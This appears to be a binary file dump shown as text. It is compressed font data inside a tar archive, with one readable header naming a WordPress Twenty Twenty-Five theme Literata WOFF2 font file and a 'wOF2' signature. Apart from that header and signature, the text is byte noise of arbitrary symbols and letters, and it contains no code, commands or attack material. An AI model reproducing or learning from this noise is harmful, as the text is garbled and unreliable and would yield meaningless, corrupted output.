w_ռ?TH5?pD=%xxX-3zԐɡ0ϩıo"=sv=e#"vNUZ󽂹RU^ e;Y/Kzܾvf2B:-F@Vυ!7;Tc ؤI7Ÿ hOaـ05+Ӄe <bYu U6X]jم^r;gN{Բ#\!77(%WQU*L9`#V'bJY9o*^}>cDLK+m>0\N+c*;ئwM*،!4q(T]n.(TwۨW,{NpbEi`;9I$%5MSM 5Ƣb,mx$YNKL6qirzovӰaxWcȖ_W zĻݛa뜞" j ?Dʑ^mIUVcyUǔj`^]CeeA9;@j<\v*5ļ槄N >z jV^mYZQ7'2/S6nv}کΕt Q #mK>j7o>aT E[cj8$m/06 =ta3\8 -3y-,l8u1 B#v:h*;h:ʃL ;#&!ϼjY[ ${5 Y _@ُ5jM[xs]nN|,Zi@/' WaeWuE?osu׆wQa/GedljقL ""]N?>Ahj՞kmE`\v 9_\(x5IRdzGlqeʮ8ѷH>Y~~R+[hAZok;pe?|K\m'{L8jJ\U̫*Yd>VMV+T\%TG(%,;Pc/\mڬ6?ج[hSjʸ[-U)p>)x4*+Hgl6)tLbK1)H<|˥-Ƣ )`+:QY)Nԓ oSG+BLZhX+=;^(!*1t( ͜câDzE+ozW6G)@,xh3uCcG,>~J笝xۉ{ k?Rt7^wP|`"٧㽢@VH- iW$l#-`l9Cl4Yl2dbK|I%lɻ+xVO)11.J-nu) [k~^8Ă$AYtz5ID̡C;ݗK)ۘߕw^1&/rOd6̟ N@./ 8&kM{EBLJ-"ptmonPW3n\KUԺYUy`HȪ'6RZhK^ѐ:CDcZ^ޫ%_d^r-ES*ʸB[5W0?U;unW3ے11!#T*gj3vJ\kwemu꬟BSV:xs9\&lgO׋Nq(?|X {ѪfV~,?}AG_ Sv cը8I ΙV^OqcL趬kJ%[%jozqK?'X[[d%N86XKǔ4Vh9- [;Q3;6^{_z#h gYurivEV12`uYƐ&/ vL > sq7b2XBޓ\GT;2io$(yۗ$yїDϾ$ B(gU)&@h9ER8cF.-޺P6 p2$w-q8f"u[ Bnv2(i'\ձ0S0v?7߸vV%q1ef+aUΡkCsj| AKUl7xKE,ZXn 9ڒl,'E9 Yvܞ os3!ʘ =Fv_Iw&.Tj\7_Vb.u`hs|յӫ재d\°#$ڂ7?Mmp-P׸=Nau91% g!OƦ3%#J'F+# EG2gU; c"I1]cg-cImˑ]^e^Eydhxn۰9U}M A0҆щFw߁Ek-j/t;7*᣽S7 ϴ~3Pn4mJq$F'20&!\YDʪ"7tՋg&ްD/G~E'vdk0$kN, 窃M7yg ,YW @|/-0YUt}k8H|N?x"'M,7_`#%;-YV?7 @E{(xk0K|ŋ%W,' Mq8`9ˎ3X⽫Xu7ջK,P[K:d;e`EqzlZp#e>WfRmJnEo5koGz-4QB\?@0YQ,ҧgjbn8a -zSY7,FCͥ,s <5/6WZc5`Eo)%#K!.GVDwxʕVWNJRN3ӈ9Y!\Q ]g%>=sp~M*fәqt .5kx;[~sAq#X_}77NJa]"1Q|-wa(>Y\ߨTU6fAO_cց=n~?DSJqUThr5w B>&N|:%[& %d~γՁ0 n@ |KmOjcH|.,jY$ D~Qfgg6~ð6IfNXF`ΛRFZVƌ1̞oAZ@4s%TCu6 8bk9t`N8$,F$1Q7hP]=7s9AOy[ąp"x_Ͻb J)O>-}8*s]//$f&?J3/2llfnP L`kYQ\&>&K<~?fYcnO0 /R F:Ʉ!'6aPogsg^<$\I܁^BAĥot&řX*58 :*[t3NDf9K[OsOnAbnR}'Hw}WbWpnXrD~WhF55`oP QPiBߕs8J®(hd#] --|VnG=Vxo$p0I;AX˅ْBn\_57Z!N4O6X 5E+S\{>:Gx]d͛2 Y?[hGIrlmZ38 ;f{~7ί)e.:p$}Z5}5UKJNNew&8٤ 0_+ʫOr&zHsߓtpCUo;U/wa<G'f{p|$u ),Tgpf(Z%:`MW7q+#[x _@E6.G 0qO8+wz}AX36Zz}3ؙO&is(i@G -1g}d)B~T:d4=v&w\mnlL"$a2fsb%.ex#n %7}̬,lIS8&.IQnu;"ZOCy{]g.SDZg/gDʵ&ف^6g83͘b6-PO[h/_8.#~,Bz9Ą^꘵3 >ƅōl-tM? CQE2i`;j)i1} R:kkGdÊ:`51#% x-.@Sq W/M ,pAPKD l+e:'o,cfށ#mŃW?cK~Z˄&ބկs2Q¤R81jB?;r-PZ]?M uR]QY""G?V?1x"$6W%nd.dV" Ry \{<)TAU9ᐯ )- 99d͇MLl*9aǬz2z:9D ҹFdDC-<#O!)gRxϏ|*p(*iv4k8֊iQU=zZh@4zHsBsa忾Yqoj1 %EN|nz>rJE':FPu20 Oَ]ϠdP-Yv o2Dٝ-Y3"O1 04"]^4o/D\5^N{|MGyogSK^\ }T]"cK |-,4Z1$ĎX바n:w>I$D8&~v4q 3Hf/D%m9x!^TH *mCuXk=@:k⎂Lc~78aUM+S`mDr۹u2&c0?4dnR@DBWEb2Z./ء8zxMMbngK`d+чk"A ,4J9]_oc1fgQwhc7PK#"sGz |zo*xd,mIcTm~`=ƃUn<msZfOe$Q} : nȁ?5Z CMj+doZusVV4MQ 9Ahia-[}lB(FkgPNsƪ1|(2#J;WA}e}<":Lɨ$Y}-rپ'`.O^)lظ15tt~|dBewWP񳍸mq{-8:aAw+|<-U @?Z͂4c7UR)Y+řW,&.&DiR, t~Ϯf?T?y_lޤ q1kϞp9aod'1Ŧ2\#jgVNhIu'SDl4[ۺ[C\XM H<>p2kuI!ЭLb3ˉ,h*^Ǖ[RE%$::4Iy lh]otZ*Ts8xLpl.CD'XKXa[n%`̏4p#,e֧3oDƎ"xSOz%H6*iצZ|1pSÐ F{,Og1<{OmX%P P,JFIF HR今`0k%FY! H"pZ=R:>HTEiyf’ăZKd4sgT?GqsH|>d7]Lwʱe\CK3' T S;^^>p0P3к"TjO Ҫb)8S؛Bő9yIܧ"TO6)bQG Sm4CodҋR~3[iIº(}E1u77yuSIׯzlֶ=?;ѳ$X~B4agR^su4_7غ-M i{ LCesٽgue 8Hg& r hLk;1RD+ov5+d~ 6Dɠd"€p+ 1t_GZ-H'E3aG6"֣nPٔz ô\n&<MũupͪB q5B/`_|i5 [NGTH%7W;,&A TWxtPVeZ ,햹9S/ūhm%emVL{x~ׂ:Av$Xܵ}ƭ^Fais*U7۱̫U6D9=s^޲m'Y(Zko1|kyxgi_ ĈJO$ bټcxHF~"Zn#mKT0-VPKր@' y7$CUi8MWB|T:،FφAu ~ v>Ⱥ'%Hi^FŔ;dj^] u%|W>>0TkP~l-_<'N*Eh{˘g.)Ggr3XpR TnnFC|y9;[̆Ѻ kg7aSߋE_]P۵Mm"RŪ\b$,%ʗ0Ue|$`$x%=ˀL-1A#TQeRS=:Њh. ”)n vM3R7.-Zf3'g@5Ъ8`q81,cx0בE($jZ~P%=0+ rFjty4 Bb%EodLGP%H"b97"ۂIoPg()F[VI"ʀoF@E*rg!ǰF1C  B\oL>X/Ovbayʌ&lCsR٘!FHnv~ J8+jE 8lZ„)&kzc_  R'Ǐ S8nhA*t4jX]8p^G E+lLe` ja٢\a)E!{ŠTRY@5ol4AK?IW=$k"RahT&RE<&,ݞ^0))E)@џ?.4 07ӔK!xrS1j)\~ܮ+Zch*A#8<L1cpw8 t2VV+_4mu78 ) t\CIG:AbM?| UFH;*>(t1E%3h#.wJJ7ΠN|ViUv_p#AfKI%l9@W7u32b>A\=NjXƧ+.ӅIaWClF-b W2:OͦQ"P:y[N8JLcde>X]Nԃ~|*թϱ-G.cv C{Tׅ]Sq!/l4˭q[N%==a}  Ă;Rf2b_5W! F q@̂˔v |"bgT|/UM7?%s|5fź cB@Cy.h `Dm.KK˼+=j{]G|r:# AsL3"x"}t~ } Q DnWZuzrGzb/1lj^r<.`#~g|]iH4UW֞ƫf4YsLAAj-jz_Šg~-)6Uv_;%mQټݒ6:2&/0w3 G^2RCf:zG 3BS7np<B|xƚ[/ 0+KcDc8sv]ͷ]e['<{el:} QwJzeG&Bil[hvDt9 =cHGNs)u)7T(R\'a$mu-~Ld856OqPZm >{e~^jV@ Xb)DZ:Hkxr\YZi~њ3dZ]o n"wU\DR_[r/!-E_nx{]>߃]@c%B)a]δ#.Rlʲ~_g9 loDkR:nbfq-%$xG?^'ذgYe|؈;0h]##`'B~ ۛ=- rWn9,WwskIU'QikG%HI3}aro]??݇yN6!$k^PKh) =@>*=~C[ǯpjEsKv&s@̊D6R6N ntI[Ȅ}6^yI*|pMzEEqթHWF.||:b@6myEOn_c-4>^Y;Y%+%[aGmlJ"ye3fHZ-r_\NCxɢveFv\Ǩ RbT^:NE}BSQ33*^ yXb m ^t Pfdk  ;.q_rb/֟Hߑ >\ ܎@ꪩOX)YLC'Ay1"z-[BLcﴚŖ6E5ObAOHs]Y_?CV'oBL+u͢8\%s\REGÊB-sdU7aٵNnӎ&փmk%Lk$eHx9x (;!%\KgDZl5-F&kԧKCظm鱔^i ʉ ٜpl80@z&D T <.Jڋk`o@AiVeêDSBV86O6A H~sdOŋ`30)]DLHFrb8 =+\I/pbln z7wAX gАs&WeWW"p:c Y(n{6#SjHA7Ew8a R=Y!STj[(HۋIywbu(xHRh^0 Q*wֵ]H xv:-f!7r'g_u".{F ؾLx@,\i eq{U:l?hcwiİO!-%u^&4v{-#m#nvqwLӖlCCg4 KD8f'Ot4ȁܢUi3;o^09q?!Œ].9+y\q#dߧ. 2(~j W- }8;&׃58e[nD.^fx6z?8*Cn:a%AHլH&ن5>W; mXR%I!SwiJ@(^^$&[53B4}<)" 0n˜`Qv: Ţzn&a"JR{1rCm^|6(Dk28W:;_~Kg;lE(Z{~Ѷױ=ny=--qO p1c~j^M{FLc&Y+dYT^ 3]u*:ɂ#Z3CH,;4.9/e('Nm_s enA֦pkݐ( 4.eQAc|_UErj6#%SrL8Nw 7sľg1cмP&L}-1e˼A@ZjpnV /"Rę[!c5/u@<먁uV{ׄOb[sHT\ȁ}]нW/'B; ,,4|e=!c-B,f.%=T^ ,|b+yLȃ{6r`7B!<6u3H[8-ʥy 7s.qWay,gm4 !0*pJtLVW.6pBwԙ=TDҪv8BbDŽ@_"Fpj9ݶY4xyJ5?; iL)xTˆnDPT `v)|Q\>*30ikY8Ye&-r1;{X-0!143YS<\_n4_RO<xvM;YJFɶN-`yI#<#d#hIނn:,٤Qn,x!WT4[yGU2m? YUп&Y? 1 ˱t܂燲ue2V{oʍ}h|YbWJH": BNʻ֬84c-yux{}r=۬~nBk=PWhs 9'{.yy+yhPixNŒv">\p9Pp7V)cTa*4,FJSAQt<HqnJp͵W.ؼ.q86'RVL<>콵7Hc W!i@GXarPH_d9gBAh YNw7I{]U;ގ'(]Z9?:dO{ҷY~"eF'"%Twdv K)JTb .A(j.mȂ\Ib׉9=JwXyI0w۴6,M vKɬ%kjٔgbE[,`y L|Ɨs뺬Xo \t3GK(mnGpQhw?uH.'x+{"{yLa rE+MsacrYݶȡGRUmyMm5^KQnt ER,à bG7J{_oԻ|f-j1Ûǹw`ADO{[ 3=|%<%XAfvyH6ȹ\~zG9Ǎ;g NP$e[jubڳ ߼lW*pySrb;2/e~HP -hQؑV/dXX|󋆞==6#nfHZ?y\:SFT(dbk*'BnItI%Zk2!RIt~↉ =Na$ד:YS'Rr$zYvl:TWEW KqpsD zﶲ*lߑa@R&_?ڍPj{;FDzM}$"yT} %Xyl%WbV2 [gY0 \OȇסaheO k]ҡ%&sr"Eomي򁍙Ip;?ekd|k[yb #T.z4:浓ܳ *}__hxlzw@p7߽=?jtue['SU-)=s8ߴ!IrtCk pL~buf͓Â:naX[yھemFk)j !9-'lB7Qqn hĨb՘vBɮ/'dl;u'n`0:߯U$#qXxٛB'f;VQҫn}R1, U ~,=I/U~,8kbjsvڦPDdv? _nOC,@ 4jQu@(gȔVݠMӔ<9zH{7XA%[O z5! zJ:PEGQ8/BӋַ-m+R|GS)V Cgk^cf8XPOsT$ˠ!K:_c-NV8kMMq'K=zDXa{*gx'm| obyyQ&$]?W&ȉ.(_y#.I:eZa1\KUjv[ lM.8pl7pv%>7ԈcЗo/2F̛|^&ŴsM(Y/waϾoN_ZU]Wu+=-Kq/ۨ]pN@ץv#\b"^ rղ)p$!F<6m٠vɐ&w 7,7B'U8.|UǕ,˛?Aj]hjd>E~ʐyD CZ-W!`qhN/Hz2P1Eq!"Qۚ"AE[ vDTM5_p? ^j1>|Gk:2na}NsCQ1pa#00/t_*@Q .'T zб9Kxu0A )bIr#|OR}7&>"MI(!{#8@Vm JM] U`2^'j*M̈́z])dZ8w@Su75*~0^[Zw9ܝ`: XA Si<̎ 5|BEf$o {rE3L5 )eJBir4ͭpW^F=w쀫&$QW)jyi=e4[`yC~KLO^ Ө51c |&ӻ&rѕ_#<S ONN[]j#íMuO0ʈcACq̳,6<A?K3#&j'jEEƀ^eHd.3B)7.Տ#H|blIk7 y.gډc1uB U6|ܕ]cy,,=pdk`s!Y38GlwFM?_2G&#O0eӗUi^7 FؽVTk!wtqϠG3FG01[mؗcvR!ɃjOκ ڞ;/NeMX< 9Z|/+$@Їf=z7`-^G#;3k w-M{_uk9(ռ3YRG]Q(LF@9j smB0dX껄Q`!ʚkCO(b㘬[_ڀGz=}* /& I@槏֖rc AӠFna'" 4ɛ{vЧðPdA [N^O-~r-Ⱥ;wrŒ5e2SS.[EsG^Mʕz0Af0.M]71c(>9&DqkT&ژ::5pxGG開z)+ӟ-loږT:v,~nWHVB3W*&<'2R$a<9e61l 4R!3)?=bR_FkL'whtD4IV&ToT~Z1Z-=ۥ RbC>hE<)M.P,'$o }'E}܎ ƨŗDN>X )p26(?4 p/[hz! /Qzȳb) 0tYn89'(8! @nk^ Z:ύ6G .sbvs9# C(cFbJ,ԯt ׷ ѴJO5Nwyl414NhFxkOhGx:}`L$1gPMOGkxkOhߣ4dP+xp2 3q/i]e)܀N+t԰aSF -ԋO7Zw5g4"?Sd[+IcY.-qEJ#z{{I}3iP}IASJ~ PX9"ԅGwI/ =67ðk(beEG4[[jt٩Jƞwh;O:iXnQAT]m ]XG\S/d՘~? rÄV9s5d Ū) ,B5Swa?NYo~rum3tTM+$Mo.`bH_$W I"^DUi$.6k*Vچ+IX$Qy!)`.~p{7m$ױ%dx7:&tB^Is$KTv*׋8T{YP `T+^Bxj],iѩ3*kf'"'1+;NύpwႹʇ0 R?3%`veڱL%0rC|xeĿ`( BwXqHl!v%oo#\͘$1 yC`{A~ƼLyKߕOxTo-_Wq?rm/P*?KAKa e:0]IE!R>x2 f%3elǑW3M2Q+0Bŗ?Kh-%Amlg@rU.>"s־!?>د3k1-t4')mj[EYkD0agm7ev F|]1B[5R(-hw̬I B>u~E}wY5Fx\B_}} KTVlMo+Rhk>, 'N9Dm^ K/\R̅xi(G׸ lu)Ѭ׭V̔ts֋+9R-Qy◝uaH"1N^.=)1Q$MdzsEh%Ksd$@fU?!1>ۤvZ@>G!ݟ? 9 ?;\rmG&ʇ[v^#G,,Z$c8ZM!2b0Oqf 8y1 VJeEk_b, :syv|!B&čUcACeʈEs@!Xް!Z2,Z_?’\joFm3g?j'qq(tJE ]P GP}i;Oux++-ی9j=42dDo0ߝkД1|S!^~m_NFltaMYN(1^XtRi (m՛C%T6~3 CU1[ ;7ʌMzς.v۶O{{0 BA #ٶ i7K,zt"]SJJ =Q9DS8̀>$*;5l_c;-3ȪɔoS ߤ"lB*0ݪEȲ JYپRzL-cev SyD-M揿7YP]FNd4We2&U9jCq'O09N~៦WM:sdDӴ|iY^ZiU?|/=F#|M9/R@Di1m]v`'C,_3Sv'Nbj'n]*]Q3@`Uռ}\'E.y\ .A׆> 7'w _٬ǣAV֌aȻKQ14.~-(l:⛄SQ}U*̨퍘$C#, |iW~z]aNOa_vM!'_fʝM^sT'uegM{|c ¡.bnY@l:Vx,y$a$5Τ9 A0(PlMf}!j%D-tw+ѧ dI)2=΀@ ܿo[.hmZjBhiq}<(:VH|VIsOl N1msOG v[{qzX&)=yxCB.;j*ӷ?96Q ?2iSfY} /j2On1bDWM 84|V)AǦgDy%aM^2WH- !w<߇L;/\uN~ہ7,sɛB `0m)7tzKDeVRs7$"r_ roNE#:gdo˦9yTaxVyL|oeӵ ,)8r7Hcݱd%0{[YPYcM o>rV60]i*חx 02f ŞG ҬULŤ%dyFu 50Hzw|kqG\"0u]ɘ؟>x"0:pC48¤]G^/2d<:B#_v@–0I6!>-M/Eev@aAW(>8#??Be.jV}[(N4y̱ T\ִt^V$N7A]N ^G[RLi>XO`6xȶBXnOOn\ 2&B'Tx^+S[I&\#)O}ĝ873z4Y?Υhީ'L0U7|s\PZWgO]DL]Ӄ>S(pT"66j[ݡqGɎUD=qc=tC=ů`+ӃdSMn0/p,#sx\yD)0)[Ԩi9#Ss?*J?S99z*?p͠(0)@NUCP,n]rL 5Oav{k5Ď>ٰ t Ze  Pb717@oٹ^ͲwsbKeXM%jL|> Q=(P^ޅ*Y.iSE.8CEvf$ 9۷=$Ia:}ª&t_^{y+LzO{Lњ礔lK< @CY k,r`"jxR xҐG*"ߟQ̇<֊|?ψJAxhCsY&U֦ Y-Y+4tS4dGhss~rTOHӸ 6y= ߏ=0'Ij\fTe]7# KBxYu%H Act!5Ty,=o+,.B`7gkTp#!pysGa_s蝕k'[C֭ ZV: HݶJ5yIɛkv{uchi7Zb%P T\u ->it.))ϲdPf&"w1.Y..ghPG#eaK=1,%D6%NBԺܩBGX#b/q•IL!|w9 ƽԉ5=ٯ۠5i㋼b㜻Vuخui;my [:̈́F ێ:~Qu3QAD/ήW-0;4SNVI8/@P;ȝD}s)(6.0я;$K$`e kdQ*62]]J m=XX[K}`aYA f銯u]))¥ 3zRxT^H #ҋM4Pj]DnF$Ժt@cS>da8ćF@ n03iJޯyzϰAg?ݳ"^miZ ^[FSTD!A^5B4G"e]܊V'wla硺 +\>C19Yi!o71r]l[P2PHY .2h5+łi| wtؑѝ JM [9ф-ᕹXqp83P*KuihA`Hkn)S|UOG[ MnӬ٬(47{}کq)՟!SmWq-l]~"o̽?Jҿ_i,Θ+mi䰻?lA9|v<Ir\z%і!݄φZ,K<^G(P/o  #J:b;Xs)&(T܍@&cTΙ]SU&v1_'Pn:W,*4 jC,jtDq,§#'!p@5:$XvlM)Loxdh_g?.Y":"$x#xQ# VF-zFoR`tO 4aIUt1"Lfʀɓ y@kBAX&5QH` DI>b[HDGgu\(j(L=~i˞y4_@d"oʠyԖTs 52V͹^WJVF[~Ab Zy4/Φ2ԷUs}>(k]^5%r}9܌6}=m@_ǚw1ֵ-hH->'9 JQ-QI .izPu+ 86h`lvaG4irS˩k?}ߘq1í(X,Y3OoMc]JsgXN0J=6fHcƭb]s- S\}>-fAe{Nį–=yEe\o/ql G uSpV]/KDxi>2-و̒GV Q3] [6yj|ݥDB\81zZ짫,ѽh͇jaDAlC^d.CK]lh6jP6?EQ!k, }QBj5}Ş岪{&5,cpj֔IÛ9mD~|י7_ПS'Mç~q84 3o2cbUB-v3NRyEGw`@EvFzzE~^-BwΟ牻3.OUJ\cOC]|[Sa@ɟG8o *AVt76~ɈrܯFi+zbxUffN\{pȜam[Jy抇S)7?}i )X0` XDrá݅[B7NV ]?m ;0ߏ,1RH:nDN}{=FLKAh;U3S'؋)d5/@(&rhQ@$r )3f#Eɐ4cADAG\,A$0p a|Оm(S!T{&p).'c [XR/SǞoe~ùщ 'cJ[,pr@ "o`8 vJ *87^z#ܓ!:"xb%}>m]ŲG)i#ɐaYI 7թwqJ:յe@}ڜz;NE R IJ7‘ , dSet_~z;08u! wT3lޓUiMAGq٢In+% MMQ,|ߊo%/ :V¥Od) vjqiq<oV6 bh8zH/-M͌;Uf"R]ež8Տa.oZV A~%VW0rj&5 |s{d : gij? ;IdH( d,C$1d" |)ɿH 7[U)QMj)qi\QW=5А7S#oM4|͵EϞ MDLBJ L⣲aFtD1g[_*_L d٨DQ$I2PJَN.nBDMdXmv/ofw[Uh2+$ ?"ک4:bs<@("OJ9*]R;ַhW7*VbxuT!H`fRq=P Ŋ>-E=:*Fe_\jgIY2b򼈱1ɨb4^9 4OfO`E@L&fM̾rF%zUq =?Uwes¤;!88 Պ' 2b+$&\q*F TP,6Zݻ/F:=B{ZxQFL^XsT:%Z4zM}e ltcEs88{牺ԕT3}ppv8[ϳ&}I&׶˩!+wt4hTҨ,6WD$d EPl T\KHD̒ŚEQT]@kY98^>~A"k,Rbmǀ[.ˮkKs'uO%zd̘F-ۂB"bv$՞n ;|X*WN誀vuNw{3bKLjA$u1wg72P4BRAm:tŋ?ċ- Hd ԭc s8nШIBڴ ƌ0iʴ8x^H(Ir@l}=eʽo^5qQYY^{v::((*^ufu1X5(tm/k.i)clV5Z@D+)( 1fZH/^ 3`ihބQlN+Y,W\CmN2C^on9`C%Zn?$3멼6y}rZ7 Gt6_,Wǧ׷ύe3aOc# k-MZ) UVHT-kAHFsvgr!GC?üJQFHFeIu`}rlw6O*4Ͼ_<za=#=w4ˋquۏǧ !˪nڮ * +V1+I^GkzePJ!TZrtj(2&hV{#<ĮxNXa(RId S]F3Nn\;#< LP L԰6Ka@C)McamK]V_<*Fbp>yEGl)iYmBjۭQ_M+AŻyW_ |T}{j9HI5Y "/0w$' EEZ"3.x:*i8`"Ud6$@T`7E.d:`fmi+%Qk&Oda'aPDΎڒ윀 h ]_5Э$u,/ e)C (FXK-v!1rg2tP4 :s#w"Ķ敒u#"N7pGV[RФ+ǗRFn0NtCՊ[x8#׀Z覀R{JB#O^E97B 1wҢꏂf" *KIBd>2y5qKECS-#sgCʴfD,걗%ጧ&"&JK,*PsOsÈtk6zbA!&/7B},6 0.Ҹ0:ΡԝJhb?~0 !y4*Ċ]M# ;Å\%"4RwDa>lw@Ӆ׺NYo*)5Yo;̻242X~IXŠW4S Ѻr K ?+s%Q*WiSG\vy(No0UUjpWʋb\mx F#g)װq+ahg0DVAirAn־thOӓpL: 6C:Kr&4:O|?\;]8YU.L^`knS_ ݏR+K v|zaoǞצ2ĝ #|v¨f&":(G *ga;o#!c <!E:Jo3e=R79i(G=`3m1 ԗ&) u6  3d !b%SEcd'7#TO6$3rYMU걧kfE4Py/׼CRkiԡbRKS? [~[ްM_jNl]PT_-)4m[-Tk-9 g: Y f1䔭#TJ?jPa=m&nN{w׾B통 xI ~zF x1KM3oȃnWbG Rܰ@1pT_A|pdR:sl`8A2\r|`8A2*K?*R2Av q!qWy|U~6f<؆^8Jo|[2vW3eM?7 >oN_٘0@%CD6ht h"L(4T1Tl"L9p0ѣDУ;;4QDz݈M媕FD;_{?,(m|Z" @ ([㐞ZdK-M2J0BS(Y YM**u_cQRWҢ$ʩٽua:xH!zBɉ$_|6y$lMR(>,#@zUx;;Fyr0Hxn A*M r 9# Y6<9TO7yx9S|( vwLLy}ak+E ޫ\Hv0diuP^18/+9@nVO$;QuoѧN0lsPy_<^NϘӿs+q:bή+Bf`l[*>{;QKXƭd#o(YiAlG/g(e;Cx}y;H?H4 s"5k>l5&vcX6=ballf_pa`AX/g_V .  Gyt ~GLPRz_2[|d W-yX@hYotQin֞+:=Lc;~3?b6 `~j7*Q?0Q_q[Ukdo"7dzi SJ|Z>5S!~eN^pUyi7EQiQȦu{eTҰǡQ*Eo,Rcl,8\⬀r\ !Ú$xqd[:˰=M*?BP -w6w$t.ŊV:I^A iүB=0&߇\s@VRk2J!9R l}.fQf(^2I9j$5f8/R-l$iؚ)||>C;٠k8nP'@)K}) ^lOąUxn9p0B%{yZC\B =i/5JW];9i>bykfW]NODqccGJLv"r/H ȣJ2UK!6U1Iu_3 ߇吱e)k;r%JSZ +SY5N=dx{މȔsi2!ϳFbt%T-0&2|H$Xa߉ c:䄋9{.Xh+a)o͇kjj_\lZؒX:Tuk@&/FD Oa)t]DG ֨Sr[}tQ[ )wr~"Kb\s"6>v2,tf@Em+=31ׯ^sstWF[)uTAW.e^&V.-4^Wdf ZɅTl5M8&s{"FL}[oED=ɒD|!ubYѐ/n.aSHb %G|Ŭ!VG2rh6cy42X!.`OӋ'.j} G0v8Ah0zO/XWXe.vQ\ouZ)z@WB 3(rgs20ʺ)F("v-Ѥ/! S4eÇC@-4O/QOY/&fiMʙ!oPL\^H)$7οp4K1aFKOC] ñS>`Ү\OYЎ!URBMKh/^< 9|D20!M;HefIdK(1ER\T1M3v.nz(ȸH0t‰vI[themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2000064400000313710152335264760024420 0ustar00wOF2[^Vr4`PX  H,6$$ ( d} o$"[x]WHRRwP!v VuOqve9('tv52 Y!죓X}29) zWku  F,,/b٪v: dn{hOb^6lHXn5}) q3 E!S{X?l#Ls PyW]mib1 ,E)nCSևms/d5oQ%SS ŃwąBK2eL՞7#ʀy.ef2}fZJjJÚJh,06F*RRR?o_^Ex˰0*sn9{Jɛ3YGx4%J;|<{+ݘX;tkKxT êŁ0\ڛ|KTG0jowzZ݈|^sᅇitXȮ43݋zą vT;zX2;|78 AI(q֔8lrjȐu׋;(Ixx)Wo _*S0}. a+oG!n D?oK-kh;`W~Malٙ_z~ZvjC+RuX'RJ^}_eثXK)Ye!7r$D9mgJy2R{LgXzq D^m%WԵMI)KD?|# ͉NSCpEGܭƭAܽ)nuTL9=ݿܿU>6 q,pjue#:ˏ-?IJJRmr׮aieD?%X̱⯒ iS{2(NwMs#D zCƛh",XxzU#?+bvN߶Dle:ڹmjkC3Z!dgM] ㏈fJކW&π:ǵ6prMRZ]g]Jʚ] /H29S|4Vд*__ϑUQmH 5[qwsߠ`5W7󒝗ɝIcRRTK4?zˁnjk)d(cV=G[/~H "ADDDBQ-E;UFęV٪BQ9s0;b9 ֣ pO> ( dgrxTqJCWI !%@Y'M"@ʡ1-P@-PԖu]2˃TCHB*RI5 ت Qɾ;r*2nEX. V3ĻGˎ #\$e"\aj l_@-OFQq#RGn3rϣ'Gtx1A2AÍزq6! r$JHײFrG8Rd|JH/F6=2o~dȚM[#;vF8*0 r$r:Ab3$@.tȥ )?H/N9 Q=-0R0# אYʫ3iL)ldL3C4Hpb]ch 8^/}N֞9`.ElSR nQva z@2!"MQڌhhIĖ29gO:tًw|"/oRbg@#חO+7>p~X^/@ H}\+'{`ܿQ~4˓J|rKh_H _/al@87O>A]2y~jk!x2*B:8+EzJ.i{0qb3e%kxhp2\6<:B7}`I.y<8Y#A\M2'{#ԁH%t25Ys2N)8%w]s7/qbٿ@wO@uo6g-më/ e@2\Z!}lΖ~W $*Ok5Sw:Gw;P.o㛌 ɯS8UG&*mNl\$ا ETHa,X($*sbmm(I~BMIK׺߭$ɻQ@u RCkR*uhMֱ `Jˠ gK7 s| ķ;+pv Y2 `%='/|,?eNaT|NoI|.ex;!{۷oröM 44YF $X-)X_\ਥ-ܘfB;%4-Zs:b\{Dtex՗n1d[NÿuL<ٌ_cKKWFz;UPAi $6ҸFu}ndBehCQ-eBص%Fpe6POZQ 9Ce}uu蟨`ekschqMo#@xMh#.k1! x;$MEW"\0%1UP?{~ `OF A>!, z&Vo e*r7[sfKml$֨R:?nΆS6/߱x/\IWE-b㙬MY8rm-p%QqR9t-9iNUNxz>NdP:(X >I_׷F]l%dr\Lr=ڢ4ahgh0\4kPMxdo䒊C4STЍLMHy ߹VӘ.sFX;hX(92T`k:~j[ग+D׋8c}`?m,h1W%#:d.#@Ż|A2OQ|7S,9{lT5}7x'z%K'>J4QD.IKVJwمgkć|DLN;1 }ӜEGl(i黅*fF43iO` rȃr26ʞdda%bm"8 `rao˯mxpQJ#b)kva14lFI&ٟOyp4a11z8lzrj_duuj4XqwҏftqEѕx|aw}Ioз|1<~,іꪂJUFzۂtRX4EO\'\ɹ}KC]հ=Fg"#u ױi#-"~yb1j酩b*A`αpP{Wzj]MmyMQ`N$'r=ix/︤mA.b ) &*'4oHb)Wpa [4O,gafbh>\CϯǞ@_Fϑ#R͑/<~@)>%i-sFg͠]m~aᦸ7:xO:mIW|iD绦a3R+Q;;F b]&V7/k[݆<ֲܤT:;G&VJK֟<+ibo3\YYPR0$%{ʮbb3%O'Z15@B G!|sܦo[?vv}k?,4Fd AB[xsCT,Nf b 57 83<|^rQv ߫. j~7̳mv *[N>O{~ۍBo'xbPm VW:/%`$i jqisJ 3|d t9Ð NԤl%.?qRAD>\t:Hh;rtQgN DJlcIIzU<x*;Bȸ'M=9^;LMnȭ[vMY]Z7riUPLҘf8LPΉ *ɺd$ Gq %`10YN \nw+. xW5wM>`cQƖP1W݈Ɖg=öJ\(;<LZ)#tbmmkv~o.Q[Y.JѢ]\{GclF8: dp ojxN %4n^1ǑNؕmw\I) T'.dcXn7nP'Y%thUh7iS;*6 ]]^Sackn \k&Po֒m?!K+7A4D,r8kWZx,EP|]?گe%:߻OD|:YhA/e:OTa0-*7dr$yYn$5A{Qdv䉏٘gk/SoANyNd,փG $|m;P#6%>J. C^7IRBHJhOWJ(K^cTv\4H=y@Xop6t3/x&!xfO!J:#|^䉑ʐS ~N@OJ\gϦz%M:;7Y~l wD,a˱wibg6|j-ޑNR?Z:2rqǨ3mX̋dVUO^6|ڟQ͈;ZW]&t϶İ%OE{MpRDfɬKMv$NӮȡBO_t̳  QPm]sM'n[e6m}C w.V}۝\?Obx~AtwaF&ui cJ/|angaދnX洸do>v5j;欨PEu!F& $N!JY@zhv͇O.292<3ȞW ϪF,{Z0 :yӴzWG_ͱcqˑ>cqR}ıS!M2TmF/nih!>0/w^>ґ|8,G~2Xw2)[ve9FhZw^lE 6:w_YYUMLdQb.~!_/QVve>Q -៰КWw:p/WClI@ z7 kf=%/~R'hi(ҡi ^4aՋ_XyA'MSͥq !Q旲Zko(rw {6ֳ{̜ik$dr {Hu OR7$7UA3i6`kbmY$B@Dk$s?p2t܍fÅgHr LIj1[!|0`oXn-Ǟq% 5q5n)jq^A7zƲmUjvz|sk+Hn?  FϢv̙v;Y: "z\|Pq5}"w!T{x;ҿsG7,ɞP+2)67FZc?DGy1wvFt2;i 